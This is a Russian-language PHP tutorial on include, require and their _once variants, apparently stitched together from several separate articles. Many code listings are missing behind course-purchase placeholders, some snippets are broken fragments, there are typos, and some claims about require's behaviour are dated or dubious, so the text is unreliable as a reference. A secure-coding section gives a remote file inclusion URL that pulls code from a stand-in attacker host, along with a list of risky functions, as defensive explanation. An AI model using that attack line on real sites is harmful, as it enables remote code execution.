Функции PHP: require(), require_once(), include(), include_once(). Что правильнее использовать — require или include

В PHP имеется возможность подключать файлы с кодом внутри других файлов. Это делается для того, чтобы выстроить архитектуру приложения.

Архитектура программного обеспечения (англ. software architecture) - совокупность важнейших решений об организации программной системы. Архитектура включает:

  • выбор структурных элементов и их интерфейсов, с помощью которых составлена система, а также их поведения в рамках сотрудничества структурных элементов;
  • соединение выбранных элементов структуры и поведения во всё более крупные системы;
  • архитектурный стиль, который направляет всю организацию - все элементы, их интерфейсы, их сотрудничество и их соединение.

То есть нам нужно разбивать наш код на отдельные части, каждая из которых будет выполнять свою роль. К примеру, можно вынести какие-то функции в отдельный файл, подключить этот файл внутри другого, и пользоваться ими уже в этом файле.

Смысл архитектуры в том, чтобы компоненты программы, отвечающие за какое-то похожее поведение, лежали в одном месте, и их можно было легко найти и изменить.

Ну а вообще, давайте на примере. Но сначала давайте изучим одну «магическую» константу. Речь идёт о константе __DIR__ . В ней содержится путь до директории, в которой находится текущий скрипт (скрипт, в котором эта константа была использована).

Давайте запишем в наш index.php следующий код:

курса PHP для начинающих .

Результат этого кода:

Код доступен только после покупки курса PHP для начинающих .

Вуаля, мы теперь знаем, в какой папке находится index.php . Мы будем всегда использовать магическую константу __DIR__ при указании путей подключаемых файлов. При этом в выражениях для подключения файлов следует избегать данных от пользователей, чтобы избежать хакерских атак под названием PHP-injections. Подробнее читайте .

Ну а теперь вернёмся к основной теме урока. Создадим в директории с index.php ещё один файл с именем functions.php и заполним его следующим содержимым:

Код доступен только после покупки курса PHP для начинающих .

Теперь вернёмся в index.php и запишем в него следующий код:

Код доступен только после покупки курса PHP для начинающих .

Надеюсь, никто не забыл, что можно вставлять PHP-код прямо внутри HTML? Об этом мы говорили в . Только там мы использовали для вывода конструкцию вида:

Код доступен только после покупки курса PHP для начинающих .

Если во вставке нам нужно только вывести результат какого-то выражения, то её можно упростить до:

Код доступен только после покупки курса PHP для начинающих .

И если сейчас мы зайдём в браузере на URL нашего приложения, то увидим следующее:

Наше приложение успешно отработало, и основной код страницы у нас не содержит вспомогательных функций – они с помощью директивы include подключились в наш файл. Если говорить более детально – PHP-код из файла functions.php был вставлен в то место, где он был подключен с помощью директивы include .

Разница между require и include

Есть ещё одна директива для подключения файлов – require . Если вы сейчас замените include на require , вот так:

Код доступен только после покупки курса PHP для начинающих .

то ничего по сути не изменится – код отработает точно так же.

Однако между ними всё же есть разница. Она заключается в том, что если подключаемый файл не найден, то при include возникнет warning , но программа продолжит своё выполнение. А если подключаемого не окажется при попытке выполнить require , то произойдёт фатальная ошибка и скрипт завершит свою работу.

Давайте снова вернём директиву include , переименуем functions.php в abc.php и попробуем обновить страничку.

Получили ошибки разных типов. Первая из них – warning , сообщающий о том, что файл functions.php не найден. Но скрипт продолжил своё выполнение, а затем упал на строке 10 из-за того, что не была найдена функция isEven() , а это уже fatal error .
Давайте теперь заменим include на require и снова обновим страничку.

Теперь мы получили fatal error сразу на второй строке, приложение завершило свою работу на этом месте.

То есть require нужно использовать там, где подключение файла обязательно. Например, файл с конфигурацией, или необходимыми функциями.

А include можно использовать для файлов, которые необязательно должны быть подключены (если без них можно продолжать выполнение кода). Пример: файл с кодом баннерной рекламы. Да, реклама не покажется, но зато сайт продолжит свою работу.

Как ещё можно использовать require и include

Помимо того, что можно подключать файлы с PHP-кодом, можно также подключать файлы, содержащие какой-то текст, или в частности HTML-код.

Предлагаю рассмотреть следующую ситуацию: у нас на сайте всегда одинаковая шапка, боковая панель, и футер, но при этом меняются заголовок и содержимое страницы. Предположим, наш сайт выглядит так:

Зелёным цветом я выделил ту часть странички, которая будет изменяться.

Давайте для начала сверстаем наш шаблон. Надеюсь, все прошли . У меня получился вот такой код:

Код доступен только после покупки курса PHP для начинающих .

Вот такая получилась у меня веб-страничка:

Давайте теперь разобьём этот код на компоненты. Создадим 4 файла: header.php с шапкой файла, sidebar.php с боковой колонкой, content.php с основным содержимым страницы и footer.php для подвала сайта.

Код доступен только после покупки курса PHP для начинающих .

Код доступен только после покупки курса PHP для начинающих .

Код доступен только после покупки курса PHP для начинающих .

Код доступен только после покупки курса PHP для начинающих .

А теперь вернёмся в index.php и запишем в него следующий код:

Код доступен только после покупки курса PHP для начинающих .

Обновим страничку и увидим, что она по-прежнему работает. Только теперь она собралась из маленьких кусочков, каждый из которых отвечает за свою часть.

В подключаемых файлах мы можем использовать переменные, которые были определены до их подключения. К примеру, давайте в index.php добавим переменную $content:

Код доступен только после покупки курса PHP для начинающих .

А в файле content.php выведем эту переменную:

Код доступен только после покупки курса PHP для начинающих .

Давайте теперь снова обновим страничку:

Та-да! Наша страничка сформировалась динамически! Мало того, что она была собрана из разных компонентов, так она ещё и выводит значения из переменных.

Директивы require_once и include_once

Иногда нужно, чтобы файл подключился только один раз. Например, чтобы только однажды подключить файл с функциями. Для этого используются директивы require_once и include_once .

Давайте создадим файл config.php и запишем в него следующее содержимое:

Код доступен только после покупки курса PHP для начинающих .

И теперь создадим файл test.php и напишем следующий код:

Код доступен только после покупки курса PHP для начинающих .

Теперь давайте запустим test.php, перейдя по адресу в браузере: http://myproject.loc/test.php

И увидим, что текст вывелся только однажды.

Теперь давайте заменим include_once на include :

Код доступен только после покупки курса PHP для начинающих .

А вот теперь код подключился несколько раз:

Вот такие пирожки. Чуть позже мы ещё вернёмся к теме этих отличий, и когда именно стоит использовать include_once и require_once.

А пока что на этом всё. Делайте домашнее задание и до встречи на следующих уроках!

Функция include() (ее аналог: inсlude_once() ) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Предположим, информация об авторских правах занесена одной строкой в файл copyright.inc (кстати, немногие знают, что расширение .inc произошло от самого названия функции include() :

Include ("copyright.inc");

Теперь вы легко можете изменить один файл copyright.inc , чтобы отобразить изменения на всех страницах вашего сайта.

BillGates, (C)1995-2005

BillGates Ltd., 1995-2009

Более подробно о функциях включения модулей

. include() и require() - подключают и вычисляет специфицированный файл.

Эти две конструкции идентичны во всём, за исключением того, как они обрабатывают неудачное выполнение.

include() выдаёт Warning! , а require() выдаёт Fatal Error . Иначе говоря, не бойтесь использовать require() , если вам нужно, чтобы отсутствующий файл останавливал обработку страницы. include() не работает таким образом: скрипт всё равно продолжит работу.

Когда файл подключён, содержащийся в нём код наследует область видимости переменной строки, на которой возникло подключение. Любые переменные, доступные на этой строке в вызывающем файле, будут доступны в вызываемом файле, вперёд от этой точки.

Базовый пример include() :

vars.php test.php echo "A $color $fruit"; // A include "vars.php"; echo "A $color $fruit"; // A green apple ?>

Базовые примеры require() :

Если подключение возникает внутри функции в вызываемом файле, то весь код, содержащийся во включаемом файле, будет работать так, как если бы он был определён внутри. Так что он будет следовать области видимости переменной.

Подключение внутри функций:

Когда файл подключается, разбор переходит из режима PHP в режим HTML в начале целевого файла и вновь продолжает после конца. Исходя из этого, любой код внутри файла назначения, который должен выполняться как PHP-код, обязан быть заключён в правильные стартовый и конечный тэги РНР.

Пример include() через HTTP

Поскольку include() и require() являются специальными конструкциями языка, вы обязаны заключить их в блок операторов, если это внутри условного блока.

Пример include() и условные блоки:

Обработка возвращает: можно выполнить оператор return() внутри подключённого файла, чтобы прервать обработку этого файла и возвратиться в скрипт, вызвавший его. Также можно возвращать значения из подключённых файлов. Вы можете принять значение вызова include как обычно.

Примеры include() и return() :

return.php noreturn.php testreturns.php

$bar имеет значение 1 , поскольку подключение было успешным. Обратите внимание на отличия в примерах. Первый использует return() внутри подключённого файла, а другие - нет.


. include_once() и require_once() - включают и вычисляют специфицированный файл в процессе выполнения скрипта. Это поведение напоминает операторы include() и require() с той только разницей, что, если код из файла уже был подключён, он не будет подключён ещё раз. include_once() и require_once() должны использоваться в тех случаях, когда один и тот же файл может быть подключён и вычислен более одного раза в процессе определённого выполнения скрипта, а вы хотите иметь уверенность, что он включён точно один раз, чтобы избежать проблем с повторным определением функций, переназначениями переменных.

Примеры include_once() и require_once() :

. get_included_files - возвращает массив имён всех файлов, которые включены с использованием include() , include_once() , require() или require_once() .

. get_required_files - эта функция является псевдонимом для get_included_files() . Файлы, включённые или затребованные несколько раз, показаны в возвращаемом массиве только один раз.

Примечание : файлы, включённые с использованием директивы конфигурации auto_prepend_file , не входят в возвращаемый массив.

Пример get_included_files() :

сгенерирует на выводе:

Test1.php test2.php test3.php test4.php

. include_path string - Специфицирует список директорий, где функции require() , include() и fopen_with_path() ищут файлы. Формат напоминает системную переменную окружения PATH: список директорий, разделённых двоеточием в UNIX или точкой запятой - в Windows.

Пример UNIX include_path :

Include_path=.:/home/httpd/php-lib

Пример Windows include_path :

Include_path=".;c:\www\phplib"

Значение : по умолчанию: . (только текущая директория).

Безопасное программирование
или предотвращение include PHP-инъекций

Наиболее частой ошибкой с этой функцей является код:

в котором переменная $module передается как параметр из аресной строки вызова к скрипту (например, index.php?module=main.php ).

Ошибка кода в том, что входной параметр принимаются и используются без проверки. К содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php ), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Потенциально опасными в этом отношении являются функции:

eval() ,

preg_replace() (с модификатором «e»),

require_once() ,

include_once() ,

include() ,

require() ,

create_function() ,

fopen() .

Можно сделать фильтры на эту переменную, но лучшим решением этой проблемы являются следующие варианты:

Вариант 1 .

Конструкция с оператором switch , например так:

Вариант 2 . Проверять, что $module присвоено одно из допустимых значений:

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini .

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

Включение больших файлов

Но при вложении в документ больших файлов, встроенная функция include может работать неудовлетворительно. И у стандартной функции нет проверки на присутствие файла, который мы собираемся вложить. У предлагаемой функции таких недостатков нет.

Function includeFile($filename) { if (file_exists($filename)) { $fd = fopen($filename, "r"); while (!feof($fd)) { $buffer = fgets($fd, 4096); echo $buffer; } fclose($fd); } else { // echo "документ не обнаружен"; } } # end of function

Макеты страниц

13.22. Оператор require()

Принцип работы оператора require() подобен директиве препроцессора #include() в языке программирования C++. Если вы знакомы с этим языком, то освоить следующие операторы для вас не составит никакого труда, впрочем, даже если вы и не знакомы, мы постараемся более подробно описать принципы работы данных операторов. Оператор require() заменяет, вызывает содержимое файлов, путь и имя которого были указаны в блоке оператора:

require("path/filename.html");

Если параметры URL fopen_wrapper_SB PHP установлены как enabled (допустимо) (как правило, они - default (недостаточная), то вы можете также производить определение файла в операторе require(), используя URL (Uniform Resource Locator - унифицированный указатель ресурса) вместо того, чтобы использовать локальный путь к необходимому файлу в операторе require(). Например:

$url = http://my_new_adress/index.phtml;

Оператор require() не является функцией. Скорее всего его можно назвать конструкцией языка. Почему мы не можем считать этот оператор функцией:

Require() не подчинен к каким-либо управляющим структурам;

Require() не возвращает какое-либо значение, что в свою очередь делает функция.

Попытка вызова какого-либо значения из оператора require() приведет к ошибке и прерыванию дальнейшего выполнения программы.

В отличие от include require всегда производит чтение строки адреса файла, даже в том случае, когда он не выполняется. Если вам необходимо условно включить файл, используйте оператор include(). Просто условные выражения не считаются эффективными при работе с оператором require Однако если строка, на которой расположен оператор requre не будет выполнена, то тогда не будет выполнена ни одна строка кода в файле по этому адресу. Это логично, так как именно доступ к файлу в данном случае и осуществляется через оператор require().

Структуры выполнения цикла не затрагивают режима работы оператора require(), хотя код, содержащийся в конечном файле, все еще подчинен циклу. Из этого можно сделать вывод, что оператор require выполняется только один раз в отличии от include().

Следовательно/вы не можете помещать оператор require() со всеми прилагающимися к нему инструкциями в блок оператора цикла и ожидать при работе того самого цикла различного выполнения данного оператора на каждой итерации. Чтобы воспользоваться этим, предлагаем вам применить оператор include().

Когда файл работает с оператором require(), содержащийся кбд наследует переменные возможности строки, на которой requre() выполняется. Любые переменные, доступные на этой строке, будут доступны в пределах вызванного файла. Если оператор require внутри функции в пределах вызывающего файла, то весь код, содержащийся в вызванном файле, будет вести себя так, гак если бы он был определен внутри этой

В том случае, если оператор require() работает с файлом, который вызван через HTTP и использует fopen wrappers, и если адрес станции интерпретирует конечный файл как PHP-код, то в этом случае переменные могут быть переданы в оператор require(), используя URL-запрос, как метод HTTP Get. Это не то же самое. что вызов файла оператора require так как скрипт практически продолжает выполнение сценария на удаленном сервере и результаты будут потом включены в локальный сценарий:

/* не будет работать, так как не был обработан сервером*/

require("http://my_domain_name/file.txt?varone=1&vartwo=2");

/* не работать, так как имя файла "file.php?varone=1&vartwo=2"

ориентировано на локальную файловую систему */

require("file.php?varone=1&vartwo=2");

/* будет работать без ошибок */

require("http://my_domain_name/test.php?varone=1Svartwo=2");

require("file.txt");

require("file.php");

Данные примеры помогут вам наглядно разобраться со способами применения оператора require(), а также не допустить ошибок при создании программ. Далее мы рассмотрим оператор include(), подобный оператору require(), и основные принципы его работы.

Чтобы сделать программный код более удобочитаемым, вы можете к примеру поместить определения функций и/или классов в отдельный файл. Возможность подключения файлов в PHP обеспечивают четыре языковые инструкции:

  • include
  • require
  • include_once
  • require_once

Все четыре инструкции могут принимать в качестве параметра имя локального файла. Инструкция include и require очень схожи по действию и отличаются лишь реакцией на невозможность получения запрошенного ресурса. Например, в случае недоступности ресурса include и include_once выводят предупреждение и пытаются продолжить исполнение программы. require и require_once при недоступности запрошенного ресурса останавливают обработку данной страницы.

include

Инструкция include позволяет подключать и присоединять к вашему PHP-сценарию другие сценарии. При запуске программы интерпретатор просто заменит инструкцию на содержимое подключаемого файла. Давайте посмотрим как это работает, создайте файл с именем add.php и напишите внутри:

Теперь создадим другой файл и назовем его к примеру test.php , в котором мы подключим файл add.php:

\$var2 = $var2" ?>

Как видно из примера инструкция include присоединяет содержимое подключаемого файла, благодаря этому ваша программа получает доступ к другим переменным, функциям, классам и т.д.

Примечание: вы можете присваивать подключаемым файлам любые имена, но всегда добавляйте расширение.php , потому что при использовании другого расширения, злоумышленники могут запросить ваш файл, и веб-сервер вернет его текст. Это угроза безопасности, поскольку могут быть раскрыты пароли или принцип действия вашей программы, что дает лазейку злоумышленникам. Чтобы этого не происходило, подключаемые файлы должны обрабатываться интерпретатором PHP.

Подключение внутри функции

Если подключение файла происходит внутри функции, тогда весь код, содержащийся во включаемом файле, будет вести себя так, как будто он был определен внутри этой функции, т.е. код будет иметь локальную область видимости. Перепишем немного предыдущий пример:

Теперь добавим функцию в test.php:

В глобальной области: $var1"; ?>

Так как внутри функции мы объявили переменную $var1 глобальной, она становится также доступной и в глобальной области видимости.

Путь к файлу

Файлы подключаются исходя из указанного пути к файлу, если путь не указан, будет использоваться путь, который указан в директиве include_path (в конфигурационном файле php.ini). Если файл не найден по указанному пути в include_path , инструкция include попытается проверить текущую рабочую директорию, в которой находится скрипт подключающий файл, если конструкция include не сможет найти файл, будет выдано предупреждение (warning).

Если путь указан - не важно какой: абсолютный или относительный (относительно текущей директории, где расположен включающий сценарий) - директива include_path будет проигнорирована.

include_once

Поведение include_once идентично инструкции include , с той лишь разницей, что если код из файла уже был один раз подключен, он не будет подключен и выполнен повторно. Это помогает избежать проблемы с переопределением функций, переменных и т.д. Чтобы лучше понять как это работает приведем пример:

В test.php попытаемся выполнить следующий код:

В результате будет получено сообщение об ошибке, так как функции переопределять нельзя. Чтобы избежать ошибок подобного рода, следует использовать инструкцию include_once . Перепишем код в файле test.php:

require и require_once

Инструкции require и require_once работают идентично include и include_once за исключением лишь одной особенности. Если подключаемый файл не будет найден, выполнение скрипта будет остановлено, в то время как include и include_once выводят предупреждение и продолжают выполнение скрипта.

Совет : постарайтесь совсем отказаться от использования include и require , применяйте их аналоги с суффиксом _once . Это упростит разбиение большой и сложной программы на относительно независимые модули.

Операторы PHP: require(), require_once(), include_once()

Дата: 2012-10-15

Функции PHP: require(), require_once(), include(), include_once()

В прошлом уроке мы подробно разобрали работу . Напомню, что оператор include() в PHP подставляет содержание одной веб-страницы, в другую web-страницу. Но в PHP есть и другие функции, позволяющие реализовать аналогичную задачу. В частности это функции:

include_once()
require()
require_once()

Чтобы вставить содержание определенной web-страницы, достаточно в качестве аргумента (в скобках) этих функций указать путь к нужному файлу. Например, вот так:

include("file.php") или require("file.php")

Задача у всех этих функций одна и та же: вставить нужный код или текст из одного файла в другой файл. Но, все-таки, эти функции отличаются между собой. Давайте разбираться чем.

Суффикс "_once " позволяет подключить код файла для подстановки в другой файл только один раз, сколько бы вызовов не осуществлялось. Для наглядности давайте разберем простой пример. В прошлом уроке мы разобрались, что с помощью оператора include() , можно вынести шапку сайта в отдельный файл header.php , для простоты будем считать, что в этот файл мы выносим графический логотип сайта. В нужном месте web-страницы (в данном случае на месте шапки сайта) прописываем код Листинга 1 .

Листинг 1.

То соответственно и логотип сайта тоже выведется два раза, примерно вот таким образом:

Согласитесь, смотрится не очень красиво, правда? Получается, что оператор include() два раза вытаскивает из папки blocks файл header.php и два раза подставляется его на место шапки сайта.

А вообще, во включаемом файле могут быть такие функции, которые при их добавлении в исходный файл, могут выдавать ошибки и ваша веб-страница вообще может не загрузиться.

На больших сайтах очень легко запутаться, где и какой файл Вы включали и можно ли включить его повторно, а это может привести к ошибке. Поэтому придумали приставку "_once " к функциям include и require , которая включает содержание файла в другую web-страницу только один раз .

Чем функция include() отличается от require()

Теперь давайте поговорим, чем функция include() отличается от функции require() . В самой работе у них отличий нет. И та и другая функции включают содержание одного файла в другой. Но отличие у них есть и заключается оно в способе реагирования на ситуацию, когда файла, который мы подключаем, не оказывается на месте.

Давайте вернемся к предыдущему примеру код Листинга 1 . У нас есть следующий код:

Include ("blocks/header.php");

Давайте попробуем удалить файл header.php , который мы собственно и подключаем, например файл поврежден или случайно был удален с севера.

Обновляем тестовый файл и видим вот такую ошибку:

Как Вы видите, появилось сообщение о том, что в директории (папке) blocks не найден файл header.php , но программа дальше все равно выполняется и остальная часть web-страницы сайта отображается нормально.

А если мы напишем код (Листинг 3 ) используя функцию require() :

Листинга 3 .

Require ("blocks/header.php");

То у нас будет выведено только одно сообщение об ошибке , и программа дальше выполняться не будет , и Вы увидете только вот такое сообщение.



Понравилась статья? Поделиться с друзьями: